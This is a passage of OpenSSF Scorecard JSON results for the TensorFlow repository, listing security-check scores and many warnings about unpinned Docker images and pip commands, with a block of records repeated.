download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker 